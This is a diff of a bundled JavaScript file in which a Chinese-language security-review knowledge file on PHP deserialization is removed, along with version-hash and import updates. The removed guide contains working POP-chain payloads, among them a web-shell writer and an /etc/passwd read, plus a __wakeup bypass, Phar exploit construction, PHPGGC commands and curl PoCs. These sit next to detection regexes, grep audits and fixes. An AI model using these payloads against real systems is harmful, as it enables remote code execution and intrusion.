|
|
47570
|
-
`,
|
|
47571
|
-
"knowledge/languages/php_deserialization.md": `# PHP Deserialization & POP Chains
|
|
47572
|
-
|
|
47573
|
-
> PHP \u53CD\u5E8F\u5217\u5316\u6F0F\u6D1E\u6DF1\u5EA6\u5BA1\u8BA1\u6A21\u5757
|
|
47574
|
-
> \u8986\u76D6: unserialize, Phar, POP Chains, \u6846\u67B6\u7279\u5B9A\u6F0F\u6D1E
|
|
47575
|
-
|
|
47576
|
-
---
|
|
47577
|
-
|
|
47578
|
-
## Overview
|
|
47579
|
-
|
|
47580
|
-
PHP \u53CD\u5E8F\u5217\u5316\u6F0F\u6D1E\u901A\u8FC7 \`unserialize()\` \u51FD\u6570\u89E6\u53D1\uFF0C\u5229\u7528\u9B54\u672F\u65B9\u6CD5\u94FE (POP Chain) \u5B9E\u73B0\u4EE3\u7801\u6267\u884C\u3002\u4E0E Python \u4E0D\u540C\uFF0CPHP \u9700\u8981\u76EE\u6807\u4EE3\u7801\u4E2D\u5B58\u5728\u53EF\u7528\u7684 Gadget \u7C7B\u3002
|
|
47581
|
-
|
|
47582
|
-
---
|
|
47583
|
-
|
|
47584
|
-
## \u6838\u5FC3\u539F\u7406
|
|
47585
|
-
|
|
47586
|
-
### 1. \u9B54\u672F\u65B9\u6CD5
|
|
47587
|
-
|
|
47588
|
-
\`\`\`php
|
|
47589
|
-
// \u53CD\u5E8F\u5217\u5316\u81EA\u52A8\u89E6\u53D1
|
|
47590
|
-
__wakeup() // \u53CD\u5E8F\u5217\u5316\u65F6\u8C03\u7528 (PHP < 7.4 \u53EF\u7ED5\u8FC7)
|
|
47591
|
-
__destruct() // \u5BF9\u8C61\u9500\u6BC1\u65F6\u8C03\u7528
|
|
47592
|
-
__toString() // \u5BF9\u8C61\u88AB\u5F53\u4F5C\u5B57\u7B26\u4E32\u65F6\u8C03\u7528
|
|
47593
|
-
__call() // \u8C03\u7528\u4E0D\u5B58\u5728\u7684\u65B9\u6CD5\u65F6
|
|
47594
|
-
__callStatic() // \u8C03\u7528\u4E0D\u5B58\u5728\u7684\u9759\u6001\u65B9\u6CD5\u65F6
|
|
47595
|
-
__get() // \u8BBF\u95EE\u4E0D\u5B58\u5728\u7684\u5C5E\u6027\u65F6
|
|
47596
|
-
__set() // \u8BBE\u7F6E\u4E0D\u5B58\u5728\u7684\u5C5E\u6027\u65F6
|
|
47597
|
-
__isset() // \u5BF9\u4E0D\u5B58\u5728\u5C5E\u6027\u8C03\u7528 isset() \u65F6
|
|
47598
|
-
__unset() // \u5BF9\u4E0D\u5B58\u5728\u5C5E\u6027\u8C03\u7528 unset() \u65F6
|
|
47599
|
-
__invoke() // \u5BF9\u8C61\u88AB\u5F53\u4F5C\u51FD\u6570\u8C03\u7528\u65F6
|
|
47600
|
-
|
|
47601
|
-
// \u653B\u51FB\u94FE\u5E38\u7528\u5165\u53E3
|
|
47602
|
-
__destruct() \u2192 \u6587\u4EF6\u64CD\u4F5C/\u547D\u4EE4\u6267\u884C
|
|
47603
|
-
__toString() \u2192 \u6587\u4EF6\u8BFB\u53D6/\u5199\u5165
|
|
47604
|
-
__wakeup() \u2192 \u521D\u59CB\u5316\u5229\u7528
|
|
47605
|
-
__call() \u2192 \u65B9\u6CD5\u8C03\u7528\u94FE
|
|
47606
|
-
\`\`\`
|
|
47607
|
-
|
|
47608
|
-
### 2. \u5E8F\u5217\u5316\u683C\u5F0F
|
|
47609
|
-
|
|
47610
|
-
\`\`\`
|
|
47611
|
-
\u5E8F\u5217\u5316\u683C\u5F0F\u8BF4\u660E:
|
|
47612
|
-
O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}
|
|
47613
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502
|
|
47614
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u503C
|
|
47615
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u578B:\u957F\u5EA6
|
|
47616
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u5C5E\u6027\u540D
|
|
47617
|
-
\u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u578B:\u957F\u5EA6
|
|
47618
|
-
\u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u5C5E\u6027\u6570\u91CF
|
|
47619
|
-
\u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u540D
|
|
47620
|
-
\u2502 \u2502 \u2514\u2500 \u7C7B\u540D\u957F\u5EA6
|
|
47621
|
-
\u2502 \u2514\u2500 Object \u7C7B\u578B
|
|
47622
|
-
\u2514\u2500 \u7C7B\u578B\u6807\u8BC6
|
|
47623
|
-
|
|
47624
|
-
\u7C7B\u578B\u6807\u8BC6:
|
|
47625
|
-
b - boolean (b:1;)
|
|
47626
|
-
i - integer (i:123;)
|
|
47627
|
-
d - double (d:1.5;)
|
|
47628
|
-
s - string (s:5:"hello";)
|
|
47629
|
-
a - array (a:2:{i:0;s:1:"a";i:1;s:1:"b";})
|
|
47630
|
-
O - object (O:4:"User":1:{s:4:"name";s:5:"admin";})
|
|
47631
|
-
N - null (N;)
|
|
47632
|
-
R - reference (R:2;)
|
|
47633
|
-
r - reference (r:2;)
|
|
47634
|
-
\`\`\`
|
|
47635
|
-
|
|
47636
|
-
### 3. \u5C5E\u6027\u8BBF\u95EE\u4FEE\u9970\u7B26
|
|
47637
|
-
|
|
47638
|
-
\`\`\`php
|
|
47639
|
-
// public \u5C5E\u6027
|
|
47640
|
-
O:4:"Test":1:{s:4:"name";s:5:"value";}
|
|
47641
|
-
|
|
47642
|
-
// protected \u5C5E\u6027 (\u524D\u7F00 \\x00*\\x00)
|
|
47643
|
-
O:4:"Test":1:{s:7:"\\x00*\\x00name";s:5:"value";}
|
|
47644
|
-
// URL \u7F16\u7801: s:7:"%00*%00name";
|
|
47645
|
-
|
|
47646
|
-
// private \u5C5E\u6027 (\u524D\u7F00 \\x00ClassName\\x00)
|
|
47647
|
-
O:4:"Test":1:{s:10:"\\x00Test\\x00name";s:5:"value";}
|
|
47648
|
-
// URL \u7F16\u7801: s:10:"%00Test%00name";
|
|
47649
|
-
\`\`\`
|
|
47650
|
-
|
|
47651
|
-
---
|
|
47652
|
-
|
|
47653
|
-
## POP Chain \u6784\u9020
|
|
47654
|
-
|
|
47655
|
-
### 1. \u57FA\u7840 POP Chain \u793A\u4F8B
|
|
47656
|
-
|
|
47657
|
-
\`\`\`php
|
|
47658
|
-
// \u76EE\u6807\u7C7B
|
|
47659
|
-
class FileHandler {
|
|
47660
|
-
public $filename;
|
|
47661
|
-
public $content;
|
|
47662
|
-
|
|
47663
|
-
public function __destruct() {
|
|
47664
|
-
file_put_contents($this->filename, $this->content);
|
|
47665
|
-
}
|
|
47666
|
-
}
|
|
47667
|
-
|
|
47668
|
-
// \u5229\u7528
|
|
47669
|
-
$obj = new FileHandler();
|
|
47670
|
-
$obj->filename = '/var/www/html/shell.php';
|
|
47671
|
-
$obj->content = '<?php system($_GET["cmd"]); ?>';
|
|
47672
|
-
echo serialize($obj);
|
|
47673
|
-
|
|
47674
|
-
// O:11:"FileHandler":2:{s:8:"filename";s:25:"/var/www/html/shell.php";s:7:"content";s:31:"<?php system($_GET["cmd"]); ?>";}
|
|
47675
|
-
\`\`\`
|
|
47676
|
-
|
|
47677
|
-
### 2. \u591A\u7C7B\u94FE\u5F0F\u8C03\u7528
|
|
47678
|
-
|
|
47679
|
-
\`\`\`php
|
|
47680
|
-
// \u5165\u53E3\u7C7B
|
|
47681
|
-
class Logger {
|
|
47682
|
-
public $handler;
|
|
47683
|
-
|
|
47684
|
-
public function __destruct() {
|
|
47685
|
-
$this->handler->close(); // \u89E6\u53D1 __call
|
|
47686
|
-
}
|
|
47687
|
-
}
|
|
47688
|
-
|
|
47689
|
-
// \u4E2D\u95F4\u7C7B
|
|
47690
|
-
class Proxy {
|
|
47691
|
-
public $target;
|
|
47692
|
-
public $method;
|
|
47693
|
-
|
|
47694
|
-
public function __call($name, $args) {
|
|
47695
|
-
return call_user_func([$this->target, $this->method]);
|
|
47696
|
-
}
|
|
47697
|
-
}
|
|
47698
|
-
|
|
47699
|
-
// \u7EC8\u70B9\u7C7B
|
|
47700
|
-
class Command {
|
|
47701
|
-
public $cmd;
|
|
47702
|
-
|
|
47703
|
-
public function execute() {
|
|
47704
|
-
system($this->cmd);
|
|
47705
|
-
}
|
|
47706
|
-
}
|
|
47707
|
-
|
|
47708
|
-
// \u6784\u9020 POP Chain
|
|
47709
|
-
$cmd = new Command();
|
|
47710
|
-
$cmd->cmd = 'id';
|
|
47711
|
-
|
|
47712
|
-
$proxy = new Proxy();
|
|
47713
|
-
$proxy->target = $cmd;
|
|
47714
|
-
$proxy->method = 'execute';
|
|
47715
|
-
|
|
47716
|
-
$logger = new Logger();
|
|
47717
|
-
$logger->handler = $proxy;
|
|
47718
|
-
|
|
47719
|
-
echo serialize($logger);
|
|
47720
|
-
\`\`\`
|
|
47721
|
-
|
|
47722
|
-
### 3. __toString \u5229\u7528
|
|
47723
|
-
|
|
47724
|
-
\`\`\`php
|
|
47725
|
-
class Template {
|
|
47726
|
-
public $file;
|
|
47727
|
-
|
|
47728
|
-
public function __toString() {
|
|
47729
|
-
return file_get_contents($this->file);
|
|
47730
|
-
}
|
|
47731
|
-
}
|
|
47732
|
-
|
|
47733
|
-
class Display {
|
|
47734
|
-
public $template;
|
|
47735
|
-
|
|
47736
|
-
public function __destruct() {
|
|
47737
|
-
echo $this->template; // \u89E6\u53D1 __toString
|
|
47738
|
-
}
|
|
47739
|
-
}
|
|
47740
|
-
|
|
47741
|
-
// \u8BFB\u53D6\u654F\u611F\u6587\u4EF6
|
|
47742
|
-
$tpl = new Template();
|
|
47743
|
-
$tpl->file = '/etc/passwd';
|
|
47744
|
-
|
|
47745
|
-
$display = new Display();
|
|
47746
|
-
$display->template = $tpl;
|
|
47747
|
-
|
|
47748
|
-
echo serialize($display);
|
|
47749
|
-
\`\`\`
|
|
47750
|
-
|
|
47751
|
-
---
|
|
47752
|
-
|
|
47753
|
-
## __wakeup \u7ED5\u8FC7
|
|
47754
|
-
|
|
47755
|
-
### CVE-2016-7124 (PHP < 5.6.25, < 7.0.10)
|
|
47756
|
-
|
|
47757
|
-
\`\`\`php
|
|
47758
|
-
// \u5F53\u5C5E\u6027\u6570\u91CF\u5927\u4E8E\u5B9E\u9645\u6570\u91CF\u65F6\uFF0C__wakeup \u4E0D\u4F1A\u88AB\u8C03\u7528
|
|
47759
|
-
class Bypass {
|
|
47760
|
-
public $cmd = 'id';
|
|
47761
|
-
|
|
47762
|
-
public function __wakeup() {
|
|
47763
|
-
$this->cmd = 'safe'; // \u6E05\u7406\u6076\u610F\u6570\u636E
|
|
47764
|
-
}
|
|
47765
|
-
|
|
47766
|
-
public function __destruct() {
|
|
47767
|
-
system($this->cmd);
|
|
47768
|
-
}
|
|
47769
|
-
}
|
|
47770
|
-
|
|
47771
|
-
// \u6B63\u5E38\u5E8F\u5217\u5316
|
|
47772
|
-
O:6:"Bypass":1:{s:3:"cmd";s:2:"id";}
|
|
47773
|
-
|
|
47774
|
-
// \u7ED5\u8FC7 __wakeup (\u5C5E\u6027\u6570 1 \u6539\u4E3A 2)
|
|
47775
|
-
O:6:"Bypass":2:{s:3:"cmd";s:2:"id";}
|
|
47776
|
-
\`\`\`
|
|
47777
|
-
|
|
47778
|
-
---
|
|
47779
|
-
|
|
47780
|
-
## Phar \u53CD\u5E8F\u5217\u5316
|
|
47781
|
-
|
|
47782
|
-
### 1. \u539F\u7406
|
|
47783
|
-
|
|
47784
|
-
\`\`\`php
|
|
47785
|
-
// Phar \u6587\u4EF6\u7684 metadata \u5728\u8BFB\u53D6\u65F6\u81EA\u52A8\u53CD\u5E8F\u5217\u5316
|
|
47786
|
-
// \u65E0\u9700 unserialize() \u51FD\u6570
|
|
47787
|
-
|
|
47788
|
-
// \u89E6\u53D1\u51FD\u6570 (\u6587\u4EF6\u64CD\u4F5C\u51FD\u6570)
|
|
47789
|
-
file_exists()
|
|
47790
|
-
file_get_contents()
|
|
47791
|
-
file_put_contents()
|
|
47792
|
-
file()
|
|
47793
|
-
fopen()
|
|
47794
|
-
include() / require()
|
|
47795
|
-
is_dir() / is_file()
|
|
47796
|
-
copy()
|
|
47797
|
-
unlink()
|
|
47798
|
-
stat()
|
|
47799
|
-
filemtime()
|
|
47800
|
-
filesize()
|
|
47801
|
-
// ... \u7B49 50+ \u4E2A\u51FD\u6570
|
|
47802
|
-
\`\`\`
|
|
47803
|
-
|
|
47804
|
-
### 2. Phar \u6587\u4EF6\u6784\u9020
|
|
47805
|
-
|
|
47806
|
-
\`\`\`php
|
|
47807
|
-
<?php
|
|
47808
|
-
class Exploit {
|
|
47809
|
-
public $cmd = 'id';
|
|
47810
|
-
|
|
47811
|
-
public function __destruct() {
|
|
47812
|
-
system($this->cmd);
|
|
47813
|
-
}
|
|
47814
|
-
}
|
|
47815
|
-
|
|
47816
|
-
// \u751F\u6210 Phar \u6587\u4EF6
|
|
47817
|
-
$phar = new Phar("exploit.phar");
|
|
47818
|
-
$phar->startBuffering();
|
|
47819
|
-
$phar->setStub("<?php __HALT_COMPILER(); ?>");
|
|
47820
|
-
|
|
47821
|
-
$payload = new Exploit();
|
|
47822
|
-
$phar->setMetadata($payload); // \u6076\u610F\u5BF9\u8C61\u5B58\u5165 metadata
|
|
47823
|
-
|
|
47824
|
-
$phar->addFromString("test.txt", "test");
|
|
47825
|
-
$phar->stopBuffering();
|
|
47826
|
-
?>
|
|
47827
|
-
\`\`\`
|
|
47828
|
-
|
|
47829
|
-
### 3. \u89E6\u53D1\u65B9\u5F0F
|
|
47830
|
-
|
|
47831
|
-
\`\`\`php
|
|
47832
|
-
// \u4F7F\u7528 phar:// \u534F\u8BAE\u89E6\u53D1
|
|
47833
|
-
file_exists('phar://uploads/exploit.phar/test.txt');
|
|
47834
|
-
file_get_contents('phar://uploads/exploit.phar');
|
|
47835
|
-
include('phar://uploads/exploit.phar/autoload.php');
|
|
47836
|
-
|
|
47837
|
-
// \u7ED5\u8FC7\u6269\u5C55\u540D\u68C0\u6D4B (Phar \u53EF\u4F2A\u88C5\u4E3A\u4EFB\u610F\u6269\u5C55\u540D)
|
|
47838
|
-
$phar = 'phar://uploads/avatar.gif'; // \u5B9E\u9645\u662F Phar \u6587\u4EF6
|
|
47839
|
-
file_exists($phar); // \u89E6\u53D1\u53CD\u5E8F\u5217\u5316
|
|
47840
|
-
\`\`\`
|
|
47841
|
-
|
|
47842
|
-
### 4. Phar \u7B7E\u540D\u7ED5\u8FC7
|
|
47843
|
-
|
|
47844
|
-
\`\`\`php
|
|
47845
|
-
// Phar \u6587\u4EF6\u7ED3\u6784
|
|
47846
|
-
// Stub + Manifest + Contents + Signature
|
|
47847
|
-
|
|
47848
|
-
// \u7B7E\u540D\u7C7B\u578B
|
|
47849
|
-
// 0x0001: MD5
|
|
47850
|
-
// 0x0002: SHA1
|
|
47851
|
-
// 0x0003: SHA256
|
|
47852
|
-
// 0x0004: SHA512
|
|
47853
|
-
|
|
47854
|
-
// \u4FEE\u6539 metadata \u540E\u9700\u8981\u91CD\u65B0\u8BA1\u7B97\u7B7E\u540D
|
|
47855
|
-
\`\`\`
|
|
47856
|
-
|
|
47857
|
-
---
|
|
47858
|
-
|
|
47859
|
-
## \u6846\u67B6 POP Chains
|
|
47860
|
-
|
|
47861
|
-
### Laravel
|
|
47862
|
-
|
|
47863
|
-
\`\`\`php
|
|
47864
|
-
// Laravel \u5DF2\u77E5 Gadget Chains (PHPGGC)
|
|
47865
|
-
|
|
47866
|
-
// RCE via PendingBroadcast
|
|
47867
|
-
// Laravel 5.5 - 5.8
|
|
47868
|
-
Illuminate\\Broadcasting\\PendingBroadcast
|
|
47869
|
-
\u2192 Illuminate\\Bus\\Dispatcher
|
|
47870
|
-
\u2192 system() / exec()
|
|
47871
|
-
|
|
47872
|
-
// RCE via PendingCommand
|
|
47873
|
-
// Laravel 5.4 - 7.x
|
|
47874
|
-
Illuminate\\Foundation\\Testing\\PendingCommand
|
|
47875
|
-
\u2192 Illuminate\\Container\\Container
|
|
47876
|
-
\u2192 call_user_func()
|
|
47877
|
-
|
|
47878
|
-
// \u4F7F\u7528 PHPGGC \u751F\u6210
|
|
47879
|
-
./phpggc Laravel/RCE1 system id
|
|
47880
|
-
./phpggc Laravel/RCE2 'system' 'id'
|
|
47881
|
-
\`\`\`
|
|
47882
|
-
|
|
47883
|
-
### Symfony
|
|
47884
|
-
|
|
47885
|
-
\`\`\`php
|
|
47886
|
-
// Symfony POP Chains
|
|
47887
|
-
|
|
47888
|
-
// RCE via ProcessPipes
|
|
47889
|
-
// Symfony 2.x - 4.x
|
|
47890
|
-
Symfony\\Component\\Process\\Pipes\\WindowsPipes
|
|
47891
|
-
\u2192 Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter
|
|
47892
|
-
\u2192 system()
|
|
47893
|
-
|
|
47894
|
-
// \u4F7F\u7528 PHPGGC
|
|
47895
|
-
./phpggc Symfony/RCE1 system id
|
|
47896
|
-
\`\`\`
|
|
47897
|
-
|
|
47898
|
-
### Yii
|
|
47899
|
-
|
|
47900
|
-
\`\`\`php
|
|
47901
|
-
// Yii2 POP Chain
|
|
47902
|
-
// yii2 2.0.0 - 2.0.38
|
|
47903
|
-
|
|
47904
|
-
// \u5165\u53E3: BatchQueryResult::__destruct()
|
|
47905
|
-
// \u94FE\u8DEF: ... \u2192 call_user_func()
|
|
47906
|
-
|
|
47907
|
-
./phpggc Yii2/RCE1 system id
|
|
47908
|
-
\`\`\`
|
|
47909
|
-
|
|
47910
|
-
### ThinkPHP
|
|
47911
|
-
|
|
47912
|
-
\`\`\`php
|
|
47913
|
-
// ThinkPHP 5.x POP Chain
|
|
47914
|
-
|
|
47915
|
-
// \u5165\u53E3: think\\process\\pipes\\Windows::__destruct()
|
|
47916
|
-
// \u94FE\u8DEF: removeFiles() \u2192 file_exists() \u2192 __toString()
|
|
47917
|
-
// \u2192 toJson() \u2192 __call() \u2192 call_user_func()
|
|
47918
|
-
|
|
47919
|
-
// ThinkPHP 6.x
|
|
47920
|
-
// \u5165\u53E3: League\\Flysystem\\Cached\\Storage\\AbstractCache::__destruct()
|
|
47921
|
-
\`\`\`
|
|
47922
|
-
|
|
47923
|
-
### WordPress
|
|
47924
|
-
|
|
47925
|
-
\`\`\`php
|
|
47926
|
-
// WordPress \u6838\u5FC3\u8F83\u5C11 POP Chain
|
|
47927
|
-
// \u4F46\u63D2\u4EF6\u53EF\u80FD\u5F15\u5165
|
|
47928
|
-
|
|
47929
|
-
// WooCommerce
|
|
47930
|
-
// Elementor
|
|
47931
|
-
// \u7B49\u63D2\u4EF6\u53EF\u80FD\u5B58\u5728
|
|
47932
|
-
\`\`\`
|
|
47933
|
-
|
|
47934
|
-
---
|
|
47935
|
-
|
|
47936
|
-
## \u68C0\u6D4B\u89C4\u5219
|
|
47937
|
-
|
|
47938
|
-
### 1. \u5371\u9669\u51FD\u6570
|
|
47939
|
-
|
|
47940
|
-
\`\`\`regex
|
|
47941
|
-
# unserialize \u68C0\u6D4B
|
|
47942
|
-
unserialize\\s*\\(.*\\$_(GET|POST|REQUEST|COOKIE)
|
|
47943
|
-
unserialize\\s*\\(.*file_get_contents
|
|
47944
|
-
unserialize\\s*\\([^)]*\\$[a-zA-Z_]
|
|
47945
|
-
|
|
47946
|
-
# Phar \u89E6\u53D1\u51FD\u6570
|
|
47947
|
-
(file_exists|file_get_contents|file|fopen|include|require)\\s*\\(.*phar://
|
|
47948
|
-
(is_dir|is_file|copy|unlink|stat)\\s*\\(.*\\$
|
|
47949
|
-
|
|
47950
|
-
# \u5E8F\u5217\u5316\u6570\u636E\u7279\u5F81
|
|
47951
|
-
['"](O|a|s):[0-9]+:
|
|
47952
|
-
\`\`\`
|
|
47953
|
-
|
|
47954
|
-
### 2. \u5371\u9669\u7C7B\u7279\u5F81
|
|
47955
|
-
|
|
47956
|
-
\`\`\`regex
|
|
47957
|
-
# \u5371\u9669\u9B54\u672F\u65B9\u6CD5
|
|
47958
|
-
function\\s+__destruct\\s*\\(.*\\{[^}]*(system|exec|passthru|shell_exec|eval|file_put_contents|unlink)
|
|
47959
|
-
function\\s+__wakeup\\s*\\(
|
|
47960
|
-
function\\s+__toString\\s*\\(.*\\{[^}]*file_get_contents
|
|
47961
|
-
|
|
47962
|
-
# \u5371\u9669\u65B9\u6CD5\u8C03\u7528
|
|
47963
|
-
call_user_func(_array)?\\s*\\(\\s*\\$
|
|
47964
|
-
\\$[a-zA-Z_]+\\s*\\(\\s*\\$ # \u52A8\u6001\u51FD\u6570\u8C03\u7528
|
|
47965
|
-
\`\`\`
|
|
47966
|
-
|
|
47967
|
-
---
|
|
47968
|
-
|
|
47969
|
-
## \u5BA1\u8BA1\u6E05\u5355
|
|
47970
|
-
|
|
47971
|
-
\`\`\`
|
|
47972
|
-
[ ] \u641C\u7D22\u6240\u6709 unserialize() \u8C03\u7528
|
|
47973
|
-
[ ] \u68C0\u67E5\u53CD\u5E8F\u5217\u5316\u6570\u636E\u6765\u6E90\u662F\u5426\u53EF\u63A7
|
|
47974
|
-
[ ] \u641C\u7D22\u53EF\u7528\u7684 Gadget \u7C7B (__destruct, __wakeup, __toString \u7B49)
|
|
47975
|
-
[ ] \u68C0\u67E5\u6587\u4EF6\u64CD\u4F5C\u51FD\u6570\u662F\u5426\u63A5\u53D7\u7528\u6237\u8F93\u5165\u8DEF\u5F84
|
|
47976
|
-
[ ] \u68C0\u67E5\u662F\u5426\u5B58\u5728 Phar \u53CD\u5E8F\u5217\u5316\u89E6\u53D1\u70B9
|
|
47977
|
-
[ ] \u68C0\u67E5\u6846\u67B6\u7248\u672C\uFF0C\u5BF9\u7167\u5DF2\u77E5 POP Chain
|
|
47978
|
-
[ ] \u4F7F\u7528 PHPGGC \u6D4B\u8BD5\u5DF2\u77E5 Gadget
|
|
47979
|
-
[ ] \u68C0\u67E5 __wakeup \u662F\u5426\u53EF\u7ED5\u8FC7 (PHP \u7248\u672C)
|
|
47980
|
-
[ ] \u68C0\u67E5 Phar \u6587\u4EF6\u4E0A\u4F20\u70B9
|
|
47981
|
-
\`\`\`
|
|
47982
|
-
|
|
47983
|
-
---
|
|
47984
|
-
|
|
47985
|
-
## \u68C0\u6D4B\u547D\u4EE4
|
|
47986
|
-
|
|
47987
|
-
\`\`\`bash
|
|
47988
|
-
# unserialize \u68C0\u6D4B
|
|
47989
|
-
grep -rn "unserialize\\s*(" --include="*.php"
|
|
47990
|
-
|
|
47991
|
-
# \u5371\u9669\u9B54\u672F\u65B9\u6CD5
|
|
47992
|
-
grep -rn "function\\s*__destruct\\|function\\s*__wakeup\\|function\\s*__toString" --include="*.php"
|
|
47993
|
-
|
|
47994
|
-
# Phar \u76F8\u5173
|
|
47995
|
-
grep -rn "phar://\\|new Phar\\|setMetadata" --include="*.php"
|
|
47996
|
-
|
|
47997
|
-
# \u6587\u4EF6\u64CD\u4F5C + \u7528\u6237\u8F93\u5165
|
|
47998
|
-
grep -rn "file_exists\\|file_get_contents" --include="*.php" | grep "\\$_"
|
|
47999
|
-
|
|
48000
|
-
# \u52A8\u6001\u51FD\u6570\u8C03\u7528
|
|
48001
|
-
grep -rn "call_user_func\\|call_user_func_array" --include="*.php"
|
|
48002
|
-
|
|
48003
|
-
# \u4F7F\u7528 PHPGGC \u5217\u51FA\u53EF\u7528\u94FE
|
|
48004
|
-
./phpggc -l | grep "Laravel\\|Symfony\\|ThinkPHP\\|Yii"
|
|
48005
|
-
\`\`\`
|
|
48006
|
-
|
|
48007
|
-
---
|
|
48008
|
-
|
|
48009
|
-
## \u5B89\u5168\u4FEE\u590D
|
|
48010
|
-
|
|
48011
|
-
### 1. \u7981\u7528 unserialize
|
|
48012
|
-
|
|
48013
|
-
\`\`\`php
|
|
48014
|
-
// \u4F7F\u7528 JSON \u66FF\u4EE3
|
|
48015
|
-
$data = json_decode($input, true);
|
|
48016
|
-
|
|
48017
|
-
// \u5982\u5FC5\u987B\u4F7F\u7528\uFF0C\u9650\u5236\u5141\u8BB8\u7684\u7C7B
|
|
48018
|
-
$data = unserialize($input, ['allowed_classes' => ['SafeClass']]);
|
|
48019
|
-
|
|
48020
|
-
// \u5B8C\u5168\u7981\u6B62\u7C7B\u5B9E\u4F8B\u5316
|
|
48021
|
-
$data = unserialize($input, ['allowed_classes' => false]);
|
|
48022
|
-
\`\`\`
|
|
48023
|
-
|
|
48024
|
-
### 2. \u7B7E\u540D\u9A8C\u8BC1
|
|
48025
|
-
|
|
48026
|
-
\`\`\`php
|
|
48027
|
-
function secure_serialize($data, $key) {
|
|
48028
|
-
$serialized = serialize($data);
|
|
48029
|
-
$signature = hash_hmac('sha256', $serialized, $key);
|
|
48030
|
-
return base64_encode($signature . '|' . $serialized);
|
|
48031
|
-
}
|
|
48032
|
-
|
|
48033
|
-
function secure_unserialize($data, $key, $allowed_classes) {
|
|
48034
|
-
$decoded = base64_decode($data);
|
|
48035
|
-
list($signature, $serialized) = explode('|', $decoded, 2);
|
|
48036
|
-
|
|
48037
|
-
$expected = hash_hmac('sha256', $serialized, $key);
|
|
48038
|
-
if (!hash_equals($expected, $signature)) {
|
|
48039
|
-
throw new Exception('Invalid signature');
|
|
48040
|
-
}
|
|
48041
|
-
|
|
48042
|
-
return unserialize($serialized, ['allowed_classes' => $allowed_classes]);
|
|
48043
|
-
}
|
|
48044
|
-
\`\`\`
|
|
48045
|
-
|
|
48046
|
-
### 3. \u7981\u7528 Phar
|
|
48047
|
-
|
|
48048
|
-
\`\`\`php
|
|
48049
|
-
// php.ini
|
|
48050
|
-
phar.readonly = On
|
|
48051
|
-
|
|
48052
|
-
// \u4EE3\u7801\u5C42\u9762\u8FC7\u6EE4
|
|
48053
|
-
$path = str_replace(['phar://', 'PHAR://'], '', $path);
|
|
48054
|
-
|
|
48055
|
-
// \u6216\u68C0\u67E5\u534F\u8BAE
|
|
48056
|
-
if (preg_match('/^phar:/i', $path)) {
|
|
48057
|
-
throw new Exception('Phar protocol not allowed');
|
|
48058
|
-
}
|
|
48059
|
-
\`\`\`
|
|
48060
|
-
|
|
48061
|
-
---
|
|
48062
|
-
|
|
48063
|
-
## \u53C2\u8003\u8D44\u6E90
|
|
48064
|
-
|
|
48065
|
-
- [PHPGGC](https://github.com/ambionics/phpggc)
|
|
48066
|
-
- [PHP Object Injection](https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection)
|
|
48067
|
-
- [Phar Deserialization](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
|
48068
|
-
|
|
48069
|
-
---
|
|
48070
|
-
|
|
48071
|
-
## \u6700\u5C0F PoC \u793A\u4F8B
|
|
48072
|
-
\`\`\`bash
|
|
48073
|
-
# PHPGGC \u751F\u6210\u94FE
|
|
48074
|
-
phpggc Laravel/RCE1 system id | base64 > payload.txt
|
|
48075
|
-
curl -X POST http://localhost/api -d @payload.txt
|
|
48076
|
-
|
|
48077
|
-
# Phar \u89E6\u53D1
|
|
48078
|
-
php -d phar.readonly=0 -r '$phar=new Phar("p.phar"); $phar->addFromString("test","test"); $phar->setStub("<?php __HALT_COMPILER(); ?>");'
|
|
48079
|
-
curl "http://localhost/index.php?file=phar://./p.phar/test"
|
|
48080
|
-
\`\`\`
|
|
48081
|
-
|
|
48082
|
-
---
|
|
48083
|
-
|
|
48084
|
-
**\u6700\u540E\u66F4\u65B0**: 2026-01-23
|
|
48085
|
-
**\u7248\u672C**: 1.0.0
|
|
48086
47570
|
`,
|
|
48087
47571
|
"knowledge/languages/java_xxe.md": `# Java XXE (XML External Entity) - XXE \u6F0F\u6D1E\u5B8C\u6574\u5BA1\u8BA1\u89C4\u5219
|
|
48088
47572
|
|
|
@@ -78489,8 +77973,8 @@ detection \u5047\u8BBE\u9519\u8BEF\u4E0D\u53EF\u63A5\u53D7\uFF0C\u4F46\u4E1A\u52
|
|
|
78489
77973
|
}
|
|
78490
77974
|
};
|
|
78491
77975
|
SKILL_VERSIONS = {
|
|
78492
|
-
"security-review": "
|
|
78493
|
-
review: "
|
|
77976
|
+
"security-review": "627a3e3c9b2dfa5d7f16e0f828db5e80bcaebb18",
|
|
77977
|
+
review: "627a3e3c9b2dfa5d7f16e0f828db5e80bcaebb18"
|
|
78494
77978
|
};
|
|
78495
77979
|
});
|
|
78496
77980
|
|
|
@@ -78564,5 +78048,5 @@ var init_review = __esm(() => {
|
|
|
78564
78048
|
|
|
78565
78049
|
export { exports_extension, init_review };
|
|
78566
78050
|
|
|
78567
|
-
//# debugId=
|
|
78568
|
-
//# sourceMappingURL=chunk-
|
|
78051
|
+
//# debugId=E98B94DE08491E4B64756E2164756E21
|
|
78052
|
+
//# sourceMappingURL=chunk-v9c0rpa4.js.map
|
|
@@ -9,7 +9,7 @@ import {
|
|
|
9
9
|
reinitialize1PEventLoggingIfConfigChanged,
|
|
10
10
|
shouldSampleEvent,
|
|
11
11
|
shutdown1PEventLogging
|
|
12
|
-
} from "./chunk-
|
|
12
|
+
} from "./chunk-t55pghx5.js";
|
|
13
13
|
import"./chunk-fs34dpdm.js";
|
|
14
14
|
import"./chunk-9dwdn2sk.js";
|
|
15
15
|
import"./chunk-zwarn9h7.js";
|
|
@@ -21,7 +21,7 @@ import"./chunk-pe9b769s.js";
|
|
|
21
21
|
import"./chunk-64c1avct.js";
|
|
22
22
|
import"./chunk-8g5pe1gr.js";
|
|
23
23
|
import"./chunk-nq504fa3.js";
|
|
24
|
-
import"./chunk-
|
|
24
|
+
